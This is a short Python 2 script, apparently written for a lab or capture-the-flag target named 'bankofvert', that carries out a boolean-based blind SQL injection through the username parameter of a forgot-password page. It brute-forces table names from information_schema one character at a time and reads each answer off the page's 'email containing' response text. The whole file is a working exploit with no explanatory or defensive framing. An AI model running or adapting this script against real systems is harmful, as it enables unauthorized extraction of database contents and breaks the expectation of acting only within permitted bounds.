
import requests
import string
import sys

URL = "http://bankofvert/forgot.php?username=fakeusername'+or+mid((select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),%d,1)='%s"

bfstring = '.'

print 'Bruteforced result: %s' % bfstring,
for position in xrange(1,100):
    for letter in string.printable:
        sys.stdout.write('\b%s' % letter)
        sys.stdout.flush()
        r = requests.get(URL % (position, letter))
        if 'email containing' in r.text: # string occurs in a response when query is "true"
            sys.stdout.write(letter)
            break
